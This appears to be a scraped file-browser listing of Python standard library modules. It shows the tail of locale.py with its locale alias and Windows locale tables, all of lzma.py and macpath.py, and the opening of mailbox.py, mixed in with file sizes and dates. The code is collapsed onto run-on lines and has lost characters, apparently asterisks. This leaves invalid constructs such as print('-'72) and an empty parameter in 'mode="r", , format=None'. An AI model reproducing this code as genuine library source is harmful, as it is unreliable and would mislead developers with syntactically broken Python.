'hr_HR.ISO8859-2', 'sh_sp': 'sr_CS.ISO8859-2', 'sh_yu': 'sr_RS.UTF-8@latin', 'shn_mm': 'shn_MM.UTF-8', 'shs_ca': 'shs_CA.UTF-8', 'si': 'si_LK.UTF-8', 'si_lk': 'si_LK.UTF-8', 'sid_et': 'sid_ET.UTF-8', 'sinhala': 'si_LK.UTF-8', 'sk': 'sk_SK.ISO8859-2', 'sk_sk': 'sk_SK.ISO8859-2', 'sl': 'sl_SI.ISO8859-2', 'sl_cs': 'sl_CS.ISO8859-2', 'sl_si': 'sl_SI.ISO8859-2', 'slovak': 'sk_SK.ISO8859-2', 'slovene': 'sl_SI.ISO8859-2', 'slovenian': 'sl_SI.ISO8859-2', 'sm_ws': 'sm_WS.UTF-8', 'so_dj': 'so_DJ.ISO8859-1', 'so_et': 'so_ET.UTF-8', 'so_ke': 'so_KE.ISO8859-1', 'so_so': 'so_SO.ISO8859-1', 'sp': 'sr_CS.ISO8859-5', 'sp_yu': 'sr_CS.ISO8859-5', 'spanish': 'es_ES.ISO8859-1', 'spanish_spain': 'es_ES.ISO8859-1', 'sq': 'sq_AL.ISO8859-2', 'sq_al': 'sq_AL.ISO8859-2', 'sq_mk': 'sq_MK.UTF-8', 'sr': 'sr_RS.UTF-8', 'sr@cyrillic': 'sr_RS.UTF-8', 'sr@latn': 'sr_CS.UTF-8@latin', 'sr_cs': 'sr_CS.UTF-8', 'sr_cs.iso88592@latn': 'sr_CS.ISO8859-2', 'sr_cs@latn': 'sr_CS.UTF-8@latin', 'sr_me': 'sr_ME.UTF-8', 'sr_rs': 'sr_RS.UTF-8', 'sr_rs@latn': 'sr_RS.UTF-8@latin', 'sr_sp': 'sr_CS.ISO8859-2', 'sr_yu': 'sr_RS.UTF-8@latin', 'sr_yu.cp1251@cyrillic': 'sr_CS.CP1251', 'sr_yu.iso88592': 'sr_CS.ISO8859-2', 'sr_yu.iso88595': 'sr_CS.ISO8859-5', 'sr_yu.iso88595@cyrillic': 'sr_CS.ISO8859-5', 'sr_yu.microsoftcp1251@cyrillic': 'sr_CS.CP1251', 'sr_yu.utf8': 'sr_RS.UTF-8', 'sr_yu.utf8@cyrillic': 'sr_RS.UTF-8', 'sr_yu@cyrillic': 'sr_RS.UTF-8', 'ss': 'ss_ZA.ISO8859-1', 'ss_za': 'ss_ZA.ISO8859-1', 'st': 'st_ZA.ISO8859-1', 'st_za': 'st_ZA.ISO8859-1', 'sv': 'sv_SE.ISO8859-1', 'sv_fi': 'sv_FI.ISO8859-1', 'sv_se': 'sv_SE.ISO8859-1', 'sw_ke': 'sw_KE.UTF-8', 'sw_tz': 'sw_TZ.UTF-8', 'swedish': 'sv_SE.ISO8859-1', 'szl_pl': 'szl_PL.UTF-8', 'ta': 'ta_IN.TSCII-0', 'ta_in': 'ta_IN.TSCII-0', 'ta_in.tscii': 'ta_IN.TSCII-0', 'ta_in.tscii0': 'ta_IN.TSCII-0', 'ta_lk': 'ta_LK.UTF-8', 'tcy_in.utf8': 'tcy_IN.UTF-8', 'te': 'te_IN.UTF-8', 'te_in': 'te_IN.UTF-8', 'tg': 'tg_TJ.KOI8-C', 'tg_tj': 'tg_TJ.KOI8-C', 'th': 'th_TH.ISO8859-11', 'th_th': 'th_TH.ISO8859-11', 'th_th.tactis': 'th_TH.TIS620', 'th_th.tis620': 'th_TH.TIS620', 'thai': 'th_TH.ISO8859-11', 'the_np': 'the_NP.UTF-8', 'ti_er': 'ti_ER.UTF-8', 'ti_et': 'ti_ET.UTF-8', 'tig_er': 'tig_ER.UTF-8', 'tk_tm': 'tk_TM.UTF-8', 'tl': 'tl_PH.ISO8859-1', 'tl_ph': 'tl_PH.ISO8859-1', 'tn': 'tn_ZA.ISO8859-15', 'tn_za': 'tn_ZA.ISO8859-15', 'to_to': 'to_TO.UTF-8', 'tpi_pg': 'tpi_PG.UTF-8', 'tr': 'tr_TR.ISO8859-9', 'tr_cy': 'tr_CY.ISO8859-9', 'tr_tr': 'tr_TR.ISO8859-9', 'ts': 'ts_ZA.ISO8859-1', 'ts_za': 'ts_ZA.ISO8859-1', 'tt': 'tt_RU.TATAR-CYR', 'tt_ru': 'tt_RU.TATAR-CYR', 'tt_ru.tatarcyr': 'tt_RU.TATAR-CYR', 'tt_ru@iqtelif': 'tt_RU.UTF-8@iqtelif', 'turkish': 'tr_TR.ISO8859-9', 'ug_cn': 'ug_CN.UTF-8', 'uk': 'uk_UA.KOI8-U', 'uk_ua': 'uk_UA.KOI8-U', 'univ': 'en_US.utf', 'universal': 'en_US.utf', 'universal.utf8@ucs4': 'en_US.UTF-8', 'unm_us': 'unm_US.UTF-8', 'ur': 'ur_PK.CP1256', 'ur_in': 'ur_IN.UTF-8', 'ur_pk': 'ur_PK.CP1256', 'uz': 'uz_UZ.UTF-8', 'uz_uz': 'uz_UZ.UTF-8', 'uz_uz@cyrillic': 'uz_UZ.UTF-8', 've': 've_ZA.UTF-8', 've_za': 've_ZA.UTF-8', 'vi': 'vi_VN.TCVN', 'vi_vn': 'vi_VN.TCVN', 'vi_vn.tcvn': 'vi_VN.TCVN', 'vi_vn.tcvn5712': 'vi_VN.TCVN', 'vi_vn.viscii': 'vi_VN.VISCII', 'vi_vn.viscii111': 'vi_VN.VISCII', 'wa': 'wa_BE.ISO8859-1', 'wa_be': 'wa_BE.ISO8859-1', 'wae_ch': 'wae_CH.UTF-8', 'wal_et': 'wal_ET.UTF-8', 'wo_sn': 'wo_SN.UTF-8', 'xh': 'xh_ZA.ISO8859-1', 'xh_za': 'xh_ZA.ISO8859-1', 'yi': 'yi_US.CP1255', 'yi_us': 'yi_US.CP1255', 'yo_ng': 'yo_NG.UTF-8', 'yue_hk': 'yue_HK.UTF-8', 'yuw_pg': 'yuw_PG.UTF-8', 'zh': 'zh_CN.eucCN', 'zh_cn': 'zh_CN.gb2312', 'zh_cn.big5': 'zh_TW.big5', 'zh_cn.euc': 'zh_CN.eucCN', 'zh_hk': 'zh_HK.big5hkscs', 'zh_hk.big5hk': 'zh_HK.big5hkscs', 'zh_sg': 'zh_SG.GB2312', 'zh_sg.gbk': 'zh_SG.GBK', 'zh_tw': 'zh_TW.big5', 'zh_tw.euc': 'zh_TW.eucTW', 'zh_tw.euctw': 'zh_TW.eucTW', 'zu': 'zu_ZA.ISO8859-1', 'zu_za': 'zu_ZA.ISO8859-1', } # # This maps Windows language identifiers to locale strings. # # This list has been updated from # http://msdn.microsoft.com/library/default.asp?url=/library/en-us/intl/nls_238z.asp # to include every locale up to Windows Vista. # # NOTE: this mapping is incomplete. If your language is missing, please # submit a bug report to the Python bug tracker at http://bugs.python.org/ # Make sure you include the missing language identifier and the suggested # locale code. # windows_locale = { 0x0436: "af_ZA", # Afrikaans 0x041c: "sq_AL", # Albanian 0x0484: "gsw_FR",# Alsatian - France 0x045e: "am_ET", # Amharic - Ethiopia 0x0401: "ar_SA", # Arabic - Saudi Arabia 0x0801: "ar_IQ", # Arabic - Iraq 0x0c01: "ar_EG", # Arabic - Egypt 0x1001: "ar_LY", # Arabic - Libya 0x1401: "ar_DZ", # Arabic - Algeria 0x1801: "ar_MA", # Arabic - Morocco 0x1c01: "ar_TN", # Arabic - Tunisia 0x2001: "ar_OM", # Arabic - Oman 0x2401: "ar_YE", # Arabic - Yemen 0x2801: "ar_SY", # Arabic - Syria 0x2c01: "ar_JO", # Arabic - Jordan 0x3001: "ar_LB", # Arabic - Lebanon 0x3401: "ar_KW", # Arabic - Kuwait 0x3801: "ar_AE", # Arabic - United Arab Emirates 0x3c01: "ar_BH", # Arabic - Bahrain 0x4001: "ar_QA", # Arabic - Qatar 0x042b: "hy_AM", # Armenian 0x044d: "as_IN", # Assamese - India 0x042c: "az_AZ", # Azeri - Latin 0x082c: "az_AZ", # Azeri - Cyrillic 0x046d: "ba_RU", # Bashkir 0x042d: "eu_ES", # Basque - Russia 0x0423: "be_BY", # Belarusian 0x0445: "bn_IN", # Begali 0x201a: "bs_BA", # Bosnian - Cyrillic 0x141a: "bs_BA", # Bosnian - Latin 0x047e: "br_FR", # Breton - France 0x0402: "bg_BG", # Bulgarian # 0x0455: "my_MM", # Burmese - Not supported 0x0403: "ca_ES", # Catalan 0x0004: "zh_CHS",# Chinese - Simplified 0x0404: "zh_TW", # Chinese - Taiwan 0x0804: "zh_CN", # Chinese - PRC 0x0c04: "zh_HK", # Chinese - Hong Kong S.A.R. 0x1004: "zh_SG", # Chinese - Singapore 0x1404: "zh_MO", # Chinese - Macao S.A.R. 0x7c04: "zh_CHT",# Chinese - Traditional 0x0483: "co_FR", # Corsican - France 0x041a: "hr_HR", # Croatian 0x101a: "hr_BA", # Croatian - Bosnia 0x0405: "cs_CZ", # Czech 0x0406: "da_DK", # Danish 0x048c: "gbz_AF",# Dari - Afghanistan 0x0465: "div_MV",# Divehi - Maldives 0x0413: "nl_NL", # Dutch - The Netherlands 0x0813: "nl_BE", # Dutch - Belgium 0x0409: "en_US", # English - United States 0x0809: "en_GB", # English - United Kingdom 0x0c09: "en_AU", # English - Australia 0x1009: "en_CA", # English - Canada 0x1409: "en_NZ", # English - New Zealand 0x1809: "en_IE", # English - Ireland 0x1c09: "en_ZA", # English - South Africa 0x2009: "en_JA", # English - Jamaica 0x2409: "en_CB", # English - Caribbean 0x2809: "en_BZ", # English - Belize 0x2c09: "en_TT", # English - Trinidad 0x3009: "en_ZW", # English - Zimbabwe 0x3409: "en_PH", # English - Philippines 0x4009: "en_IN", # English - India 0x4409: "en_MY", # English - Malaysia 0x4809: "en_IN", # English - Singapore 0x0425: "et_EE", # Estonian 0x0438: "fo_FO", # Faroese 0x0464: "fil_PH",# Filipino 0x040b: "fi_FI", # Finnish 0x040c: "fr_FR", # French - France 0x080c: "fr_BE", # French - Belgium 0x0c0c: "fr_CA", # French - Canada 0x100c: "fr_CH", # French - Switzerland 0x140c: "fr_LU", # French - Luxembourg 0x180c: "fr_MC", # French - Monaco 0x0462: "fy_NL", # Frisian - Netherlands 0x0456: "gl_ES", # Galician 0x0437: "ka_GE", # Georgian 0x0407: "de_DE", # German - Germany 0x0807: "de_CH", # German - Switzerland 0x0c07: "de_AT", # German - Austria 0x1007: "de_LU", # German - Luxembourg 0x1407: "de_LI", # German - Liechtenstein 0x0408: "el_GR", # Greek 0x046f: "kl_GL", # Greenlandic - Greenland 0x0447: "gu_IN", # Gujarati 0x0468: "ha_NG", # Hausa - Latin 0x040d: "he_IL", # Hebrew 0x0439: "hi_IN", # Hindi 0x040e: "hu_HU", # Hungarian 0x040f: "is_IS", # Icelandic 0x0421: "id_ID", # Indonesian 0x045d: "iu_CA", # Inuktitut - Syllabics 0x085d: "iu_CA", # Inuktitut - Latin 0x083c: "ga_IE", # Irish - Ireland 0x0410: "it_IT", # Italian - Italy 0x0810: "it_CH", # Italian - Switzerland 0x0411: "ja_JP", # Japanese 0x044b: "kn_IN", # Kannada - India 0x043f: "kk_KZ", # Kazakh 0x0453: "kh_KH", # Khmer - Cambodia 0x0486: "qut_GT",# K'iche - Guatemala 0x0487: "rw_RW", # Kinyarwanda - Rwanda 0x0457: "kok_IN",# Konkani 0x0412: "ko_KR", # Korean 0x0440: "ky_KG", # Kyrgyz 0x0454: "lo_LA", # Lao - Lao PDR 0x0426: "lv_LV", # Latvian 0x0427: "lt_LT", # Lithuanian 0x082e: "dsb_DE",# Lower Sorbian - Germany 0x046e: "lb_LU", # Luxembourgish 0x042f: "mk_MK", # FYROM Macedonian 0x043e: "ms_MY", # Malay - Malaysia 0x083e: "ms_BN", # Malay - Brunei Darussalam 0x044c: "ml_IN", # Malayalam - India 0x043a: "mt_MT", # Maltese 0x0481: "mi_NZ", # Maori 0x047a: "arn_CL",# Mapudungun 0x044e: "mr_IN", # Marathi 0x047c: "moh_CA",# Mohawk - Canada 0x0450: "mn_MN", # Mongolian - Cyrillic 0x0850: "mn_CN", # Mongolian - PRC 0x0461: "ne_NP", # Nepali 0x0414: "nb_NO", # Norwegian - Bokmal 0x0814: "nn_NO", # Norwegian - Nynorsk 0x0482: "oc_FR", # Occitan - France 0x0448: "or_IN", # Oriya - India 0x0463: "ps_AF", # Pashto - Afghanistan 0x0429: "fa_IR", # Persian 0x0415: "pl_PL", # Polish 0x0416: "pt_BR", # Portuguese - Brazil 0x0816: "pt_PT", # Portuguese - Portugal 0x0446: "pa_IN", # Punjabi 0x046b: "quz_BO",# Quechua (Bolivia) 0x086b: "quz_EC",# Quechua (Ecuador) 0x0c6b: "quz_PE",# Quechua (Peru) 0x0418: "ro_RO", # Romanian - Romania 0x0417: "rm_CH", # Romansh 0x0419: "ru_RU", # Russian 0x243b: "smn_FI",# Sami Finland 0x103b: "smj_NO",# Sami Norway 0x143b: "smj_SE",# Sami Sweden 0x043b: "se_NO", # Sami Northern Norway 0x083b: "se_SE", # Sami Northern Sweden 0x0c3b: "se_FI", # Sami Northern Finland 0x203b: "sms_FI",# Sami Skolt 0x183b: "sma_NO",# Sami Southern Norway 0x1c3b: "sma_SE",# Sami Southern Sweden 0x044f: "sa_IN", # Sanskrit 0x0c1a: "sr_SP", # Serbian - Cyrillic 0x1c1a: "sr_BA", # Serbian - Bosnia Cyrillic 0x081a: "sr_SP", # Serbian - Latin 0x181a: "sr_BA", # Serbian - Bosnia Latin 0x045b: "si_LK", # Sinhala - Sri Lanka 0x046c: "ns_ZA", # Northern Sotho 0x0432: "tn_ZA", # Setswana - Southern Africa 0x041b: "sk_SK", # Slovak 0x0424: "sl_SI", # Slovenian 0x040a: "es_ES", # Spanish - Spain 0x080a: "es_MX", # Spanish - Mexico 0x0c0a: "es_ES", # Spanish - Spain (Modern) 0x100a: "es_GT", # Spanish - Guatemala 0x140a: "es_CR", # Spanish - Costa Rica 0x180a: "es_PA", # Spanish - Panama 0x1c0a: "es_DO", # Spanish - Dominican Republic 0x200a: "es_VE", # Spanish - Venezuela 0x240a: "es_CO", # Spanish - Colombia 0x280a: "es_PE", # Spanish - Peru 0x2c0a: "es_AR", # Spanish - Argentina 0x300a: "es_EC", # Spanish - Ecuador 0x340a: "es_CL", # Spanish - Chile 0x380a: "es_UR", # Spanish - Uruguay 0x3c0a: "es_PY", # Spanish - Paraguay 0x400a: "es_BO", # Spanish - Bolivia 0x440a: "es_SV", # Spanish - El Salvador 0x480a: "es_HN", # Spanish - Honduras 0x4c0a: "es_NI", # Spanish - Nicaragua 0x500a: "es_PR", # Spanish - Puerto Rico 0x540a: "es_US", # Spanish - United States # 0x0430: "", # Sutu - Not supported 0x0441: "sw_KE", # Swahili 0x041d: "sv_SE", # Swedish - Sweden 0x081d: "sv_FI", # Swedish - Finland 0x045a: "syr_SY",# Syriac 0x0428: "tg_TJ", # Tajik - Cyrillic 0x085f: "tmz_DZ",# Tamazight - Latin 0x0449: "ta_IN", # Tamil 0x0444: "tt_RU", # Tatar 0x044a: "te_IN", # Telugu 0x041e: "th_TH", # Thai 0x0851: "bo_BT", # Tibetan - Bhutan 0x0451: "bo_CN", # Tibetan - PRC 0x041f: "tr_TR", # Turkish 0x0442: "tk_TM", # Turkmen - Cyrillic 0x0480: "ug_CN", # Uighur - Arabic 0x0422: "uk_UA", # Ukrainian 0x042e: "wen_DE",# Upper Sorbian - Germany 0x0420: "ur_PK", # Urdu 0x0820: "ur_IN", # Urdu - India 0x0443: "uz_UZ", # Uzbek - Latin 0x0843: "uz_UZ", # Uzbek - Cyrillic 0x042a: "vi_VN", # Vietnamese 0x0452: "cy_GB", # Welsh 0x0488: "wo_SN", # Wolof - Senegal 0x0434: "xh_ZA", # Xhosa - South Africa 0x0485: "sah_RU",# Yakut - Cyrillic 0x0478: "ii_CN", # Yi - PRC 0x046a: "yo_NG", # Yoruba - Nigeria 0x0435: "zu_ZA", # Zulu } def _print_locale(): """ Test function. """ categories = {} def _init_categories(categories=categories): for k,v in globals().items(): if k[:3] == 'LC_': categories[k] = v _init_categories() del categories['LC_ALL'] print('Locale defaults as determined by getdefaultlocale():') print('-'72) lang, enc = getdefaultlocale() print('Language: ', lang or '(undefined)') print('Encoding: ', enc or '(undefined)') print() print('Locale settings on startup:') print('-'72) for name,category in categories.items(): print(name, '...') lang, enc = getlocale(category) print(' Language: ', lang or '(undefined)') print(' Encoding: ', enc or '(undefined)') print() print() print('Locale settings after calling resetlocale():') print('-'72) resetlocale() for name,category in categories.items(): print(name, '...') lang, enc = getlocale(category) print(' Language: ', lang or '(undefined)') print(' Encoding: ', enc or '(undefined)') print() try: setlocale(LC_ALL, "") except: print('NOTE:') print('setlocale(LC_ALL, "") does not support the default locale') print('given in the OS environment variables.') else: print() print('Locale settings after calling setlocale(LC_ALL, ""):') print('-'72) for name,category in categories.items(): print(name, '...') lang, enc = getlocale(category) print(' Language: ', lang or '(undefined)') print(' Encoding: ', enc or '(undefined)') print() ### try: LC_MESSAGES except NameError: pass else: __all__.append("LC_MESSAGES") if __name__=='__main__': print('Locale aliasing:') print() _print_locale() print() print('Number formatting:') print() _test()	76.36 KB	2024-04-17 17:55
📁 logging	-	2025-10-13 08:00
📄 lzma.py """Interface to the liblzma compression library. This module provides a class for reading and writing compressed files, classes for incremental (de)compression, and convenience functions for one-shot (de)compression. These classes and functions support both the XZ and legacy LZMA container formats, as well as raw compressed data streams. """ __all__ = [ "CHECK_NONE", "CHECK_CRC32", "CHECK_CRC64", "CHECK_SHA256", "CHECK_ID_MAX", "CHECK_UNKNOWN", "FILTER_LZMA1", "FILTER_LZMA2", "FILTER_DELTA", "FILTER_X86", "FILTER_IA64", "FILTER_ARM", "FILTER_ARMTHUMB", "FILTER_POWERPC", "FILTER_SPARC", "FORMAT_AUTO", "FORMAT_XZ", "FORMAT_ALONE", "FORMAT_RAW", "MF_HC3", "MF_HC4", "MF_BT2", "MF_BT3", "MF_BT4", "MODE_FAST", "MODE_NORMAL", "PRESET_DEFAULT", "PRESET_EXTREME", "LZMACompressor", "LZMADecompressor", "LZMAFile", "LZMAError", "open", "compress", "decompress", "is_check_supported", ] import builtins import io import os from _lzma import * from _lzma import _encode_filter_properties, _decode_filter_properties import _compression _MODE_CLOSED = 0 _MODE_READ = 1 # Value 2 no longer used _MODE_WRITE = 3 class LZMAFile(_compression.BaseStream): """A file object providing transparent LZMA (de)compression. An LZMAFile can act as a wrapper for an existing file object, or refer directly to a named file on disk. Note that LZMAFile provides a binary file interface - data read is returned as bytes, and data to be written must be given as bytes. """ def __init__(self, filename=None, mode="r", , format=None, check=-1, preset=None, filters=None): """Open an LZMA-compressed file in binary mode. filename can be either an actual file name (given as a str, bytes, or PathLike object), in which case the named file is opened, or it can be an existing file object to read from or write to. mode can be "r" for reading (default), "w" for (over)writing, "x" for creating exclusively, or "a" for appending. These can equivalently be given as "rb", "wb", "xb" and "ab" respectively. format specifies the container format to use for the file. If mode is "r", this defaults to FORMAT_AUTO. Otherwise, the default is FORMAT_XZ. check specifies the integrity check to use. This argument can only be used when opening a file for writing. For FORMAT_XZ, the default is CHECK_CRC64. FORMAT_ALONE and FORMAT_RAW do not support integrity checks - for these formats, check must be omitted, or be CHECK_NONE. When opening a file for reading, the preset* argument is not meaningful, and should be omitted. The filters argument should also be omitted, except when format is FORMAT_RAW (in which case it is required). When opening a file for writing, the settings used by the compressor can be specified either as a preset compression level (with the preset argument), or in detail as a custom filter chain (with the filters argument). For FORMAT_XZ and FORMAT_ALONE, the default is to use the PRESET_DEFAULT preset level. For FORMAT_RAW, the caller must always specify a filter chain; the raw compressor does not support preset compression levels. preset (if provided) should be an integer in the range 0-9, optionally OR-ed with the constant PRESET_EXTREME. filters (if provided) should be a sequence of dicts. Each dict should have an entry for "id" indicating ID of the filter, plus additional entries for options to the filter. """ self._fp = None self._closefp = False self._mode = _MODE_CLOSED if mode in ("r", "rb"): if check != -1: raise ValueError("Cannot specify an integrity check " "when opening a file for reading") if preset is not None: raise ValueError("Cannot specify a preset compression " "level when opening a file for reading") if format is None: format = FORMAT_AUTO mode_code = _MODE_READ elif mode in ("w", "wb", "a", "ab", "x", "xb"): if format is None: format = FORMAT_XZ mode_code = _MODE_WRITE self._compressor = LZMACompressor(format=format, check=check, preset=preset, filters=filters) self._pos = 0 else: raise ValueError("Invalid mode: {!r}".format(mode)) if isinstance(filename, (str, bytes, os.PathLike)): if "b" not in mode: mode += "b" self._fp = builtins.open(filename, mode) self._closefp = True self._mode = mode_code elif hasattr(filename, "read") or hasattr(filename, "write"): self._fp = filename self._mode = mode_code else: raise TypeError("filename must be a str, bytes, file or PathLike object") if self._mode == _MODE_READ: raw = _compression.DecompressReader(self._fp, LZMADecompressor, trailing_error=LZMAError, format=format, filters=filters) self._buffer = io.BufferedReader(raw) def close(self): """Flush and close the file. May be called more than once without error. Once the file is closed, any other operation on it will raise a ValueError. """ if self._mode == _MODE_CLOSED: return try: if self._mode == _MODE_READ: self._buffer.close() self._buffer = None elif self._mode == _MODE_WRITE: self._fp.write(self._compressor.flush()) self._compressor = None finally: try: if self._closefp: self._fp.close() finally: self._fp = None self._closefp = False self._mode = _MODE_CLOSED @property def closed(self): """True if this file is closed.""" return self._mode == _MODE_CLOSED def fileno(self): """Return the file descriptor for the underlying file.""" self._check_not_closed() return self._fp.fileno() def seekable(self): """Return whether the file supports seeking.""" return self.readable() and self._buffer.seekable() def readable(self): """Return whether the file was opened for reading.""" self._check_not_closed() return self._mode == _MODE_READ def writable(self): """Return whether the file was opened for writing.""" self._check_not_closed() return self._mode == _MODE_WRITE def peek(self, size=-1): """Return buffered data without advancing the file position. Always returns at least one byte of data, unless at EOF. The exact number of bytes returned is unspecified. """ self._check_can_read() # Relies on the undocumented fact that BufferedReader.peek() always # returns at least one byte (except at EOF) return self._buffer.peek(size) def read(self, size=-1): """Read up to size uncompressed bytes from the file. If size is negative or omitted, read until EOF is reached. Returns b"" if the file is already at EOF. """ self._check_can_read() return self._buffer.read(size) def read1(self, size=-1): """Read up to size uncompressed bytes, while trying to avoid making multiple reads from the underlying stream. Reads up to a buffer's worth of data if size is negative. Returns b"" if the file is at EOF. """ self._check_can_read() if size < 0: size = io.DEFAULT_BUFFER_SIZE return self._buffer.read1(size) def readline(self, size=-1): """Read a line of uncompressed bytes from the file. The terminating newline (if present) is retained. If size is non-negative, no more than size bytes will be read (in which case the line may be incomplete). Returns b'' if already at EOF. """ self._check_can_read() return self._buffer.readline(size) def write(self, data): """Write a bytes object to the file. Returns the number of uncompressed bytes written, which is always len(data). Note that due to buffering, the file on disk may not reflect the data written until close() is called. """ self._check_can_write() compressed = self._compressor.compress(data) self._fp.write(compressed) self._pos += len(data) return len(data) def seek(self, offset, whence=io.SEEK_SET): """Change the file position. The new position is specified by offset, relative to the position indicated by whence. Possible values for whence are: 0: start of stream (default): offset must not be negative 1: current stream position 2: end of stream; offset must not be positive Returns the new file position. Note that seeking is emulated, so depending on the parameters, this operation may be extremely slow. """ self._check_can_seek() return self._buffer.seek(offset, whence) def tell(self): """Return the current file position.""" self._check_not_closed() if self._mode == _MODE_READ: return self._buffer.tell() return self._pos def open(filename, mode="rb", , format=None, check=-1, preset=None, filters=None, encoding=None, errors=None, newline=None): """Open an LZMA-compressed file in binary or text mode. filename can be either an actual file name (given as a str, bytes, or PathLike object), in which case the named file is opened, or it can be an existing file object to read from or write to. The mode argument can be "r", "rb" (default), "w", "wb", "x", "xb", "a", or "ab" for binary mode, or "rt", "wt", "xt", or "at" for text mode. The format, check, preset and filters arguments specify the compression settings, as for LZMACompressor, LZMADecompressor and LZMAFile. For binary mode, this function is equivalent to the LZMAFile constructor: LZMAFile(filename, mode, ...). In this case, the encoding, errors and newline arguments must not be provided. For text mode, an LZMAFile object is created, and wrapped in an io.TextIOWrapper instance with the specified encoding, error handling behavior, and line ending(s). """ if "t" in mode: if "b" in mode: raise ValueError("Invalid mode: %r" % (mode,)) else: if encoding is not None: raise ValueError("Argument 'encoding' not supported in binary mode") if errors is not None: raise ValueError("Argument 'errors' not supported in binary mode") if newline is not None: raise ValueError("Argument 'newline' not supported in binary mode") lz_mode = mode.replace("t", "") binary_file = LZMAFile(filename, lz_mode, format=format, check=check, preset=preset, filters=filters) if "t" in mode: return io.TextIOWrapper(binary_file, encoding, errors, newline) else: return binary_file def compress(data, format=FORMAT_XZ, check=-1, preset=None, filters=None): """Compress a block of data. Refer to LZMACompressor's docstring for a description of the optional arguments format, check, preset* and filters. For incremental compression, use an LZMACompressor instead. """ comp = LZMACompressor(format, check, preset, filters) return comp.compress(data) + comp.flush() def decompress(data, format=FORMAT_AUTO, memlimit=None, filters=None): """Decompress a block of data. Refer to LZMADecompressor's docstring for a description of the optional arguments format, check and filters. For incremental decompression, use an LZMADecompressor instead. """ results = [] while True: decomp = LZMADecompressor(format, memlimit, filters) try: res = decomp.decompress(data) except LZMAError: if results: break # Leftover data is not a valid LZMA/XZ stream; ignore it. else: raise # Error on the first iteration; bail out. results.append(res) if not decomp.eof: raise LZMAError("Compressed data ended before the " "end-of-stream marker was reached") data = decomp.unused_data if not data: break return b"".join(results)	12.68 KB	2024-04-17 17:55
📄 macpath.py """Pathname and path-related operations for the Macintosh.""" # strings representing various path-related bits and pieces # These are primarily for export; internally, they are hardcoded. # Should be set before imports for resolving cyclic dependency. curdir = ':' pardir = '::' extsep = '.' sep = ':' pathsep = '\n' defpath = ':' altsep = None devnull = 'Dev:Null' import os from stat import * import genericpath from genericpath import * import warnings warnings.warn('the macpath module is deprecated in 3.7 and will be removed ' 'in 3.8', DeprecationWarning, stacklevel=2) __all__ = ["normcase","isabs","join","splitdrive","split","splitext", "basename","dirname","commonprefix","getsize","getmtime", "getatime","getctime", "islink","exists","lexists","isdir","isfile", "expanduser","expandvars","normpath","abspath", "curdir","pardir","sep","pathsep","defpath","altsep","extsep", "devnull","realpath","supports_unicode_filenames"] def _get_colon(path): if isinstance(path, bytes): return b':' else: return ':' # Normalize the case of a pathname. Dummy in Posix, but <s>.lower() here. def normcase(path): if not isinstance(path, (bytes, str)): raise TypeError("normcase() argument must be str or bytes, " "not '{}'".format(path.__class__.__name__)) return path.lower() def isabs(s): """Return true if a path is absolute. On the Mac, relative paths begin with a colon, but as a special case, paths with no colons at all are also relative. Anything else is absolute (the string up to the first colon is the volume name).""" colon = _get_colon(s) return colon in s and s[:1] != colon def join(s, p): try: colon = _get_colon(s) path = s if not p: path[:0] + colon #23780: Ensure compatible data type even if p is null. for t in p: if (not path) or isabs(t): path = t continue if t[:1] == colon: t = t[1:] if colon not in path: path = colon + path if path[-1:] != colon: path = path + colon path = path + t return path except (TypeError, AttributeError, BytesWarning): genericpath._check_arg_types('join', s, p) raise def split(s): """Split a pathname into two parts: the directory leading up to the final bit, and the basename (the filename, without colons, in that directory). The result (s, t) is such that join(s, t) yields the original argument.""" colon = _get_colon(s) if colon not in s: return s[:0], s col = 0 for i in range(len(s)): if s[i:i+1] == colon: col = i + 1 path, file = s[:col-1], s[col:] if path and not colon in path: path = path + colon return path, file def splitext(p): if isinstance(p, bytes): return genericpath._splitext(p, b':', altsep, b'.') else: return genericpath._splitext(p, sep, altsep, extsep) splitext.__doc__ = genericpath._splitext.__doc__ def splitdrive(p): """Split a pathname into a drive specification and the rest of the path. Useful on DOS/Windows/NT; on the Mac, the drive is always empty (don't use the volume name -- it doesn't have the same syntactic and semantic oddities as DOS drive letters, such as there being a separate current directory per drive).""" return p[:0], p # Short interfaces to split() def dirname(s): return split(s)[0] def basename(s): return split(s)[1] def ismount(s): if not isabs(s): return False components = split(s) return len(components) == 2 and not components[1] def islink(s): """Return true if the pathname refers to a symbolic link.""" try: import Carbon.File return Carbon.File.ResolveAliasFile(s, 0)[2] except: return False # Is `stat`/`lstat` a meaningful difference on the Mac? This is safe in any # case. def lexists(path): """Test whether a path exists. Returns True for broken symbolic links""" try: st = os.lstat(path) except OSError: return False return True def expandvars(path): """Dummy to retain interface-compatibility with other operating systems.""" return path def expanduser(path): """Dummy to retain interface-compatibility with other operating systems.""" return path class norm_error(Exception): """Path cannot be normalized""" def normpath(s): """Normalize a pathname. Will return the same result for equivalent paths.""" colon = _get_colon(s) if colon not in s: return colon + s comps = s.split(colon) i = 1 while i < len(comps)-1: if not comps[i] and comps[i-1]: if i > 1: del comps[i-1:i+1] i = i - 1 else: # best way to handle this is to raise an exception raise norm_error('Cannot use :: immediately after volume name') else: i = i + 1 s = colon.join(comps) # remove trailing ":" except for ":" and "Volume:" if s[-1:] == colon and len(comps) > 2 and s != colon*len(s): s = s[:-1] return s def abspath(path): """Return an absolute path.""" if not isabs(path): if isinstance(path, bytes): cwd = os.getcwdb() else: cwd = os.getcwd() path = join(cwd, path) return normpath(path) # realpath is a no-op on systems without islink support def realpath(path): path = abspath(path) try: import Carbon.File except ImportError: return path if not path: return path colon = _get_colon(path) components = path.split(colon) path = components[0] + colon for c in components[1:]: path = join(path, c) try: path = Carbon.File.FSResolveAliasFile(path, 1)[0].as_pathname() except Carbon.File.Error: pass return path supports_unicode_filenames = True	5.98 KB	2024-04-17 17:55
📄 mailbox.py """Read/write support for Maildir, mbox, MH, Babyl, and MMDF mailboxes.""" # Notes for authors of new mailbox subclasses: # # Remember to fsync() changes to disk before closing a modified file # or returning from a flush() method. See functions _sync_flush() and # _sync_close(). import os import time import calendar import socket import errno import copy import warnings import email import email.message import email.generator import io import contextlib try: import fcntl except ImportError: fcntl = None __all__ = ['Mailbox', 'Maildir', 'mbox', 'MH', 'Babyl', 'MMDF', 'Message', 'MaildirMessage', 'mboxMessage', 'MHMessage', 'BabylMessage', 'MMDFMessage', 'Error', 'NoSuchMailboxError', 'NotEmptyError', 'ExternalClashError', 'FormatError'] linesep = os.linesep.encode('ascii') class Mailbox: """A group of messages in a particular place.""" def __init__(self, path, factory=None, create=True): """Initialize a Mailbox instance.""" self._path = os.path.abspath(os.path.expanduser(path)) self._factory = factory def add(self, message): 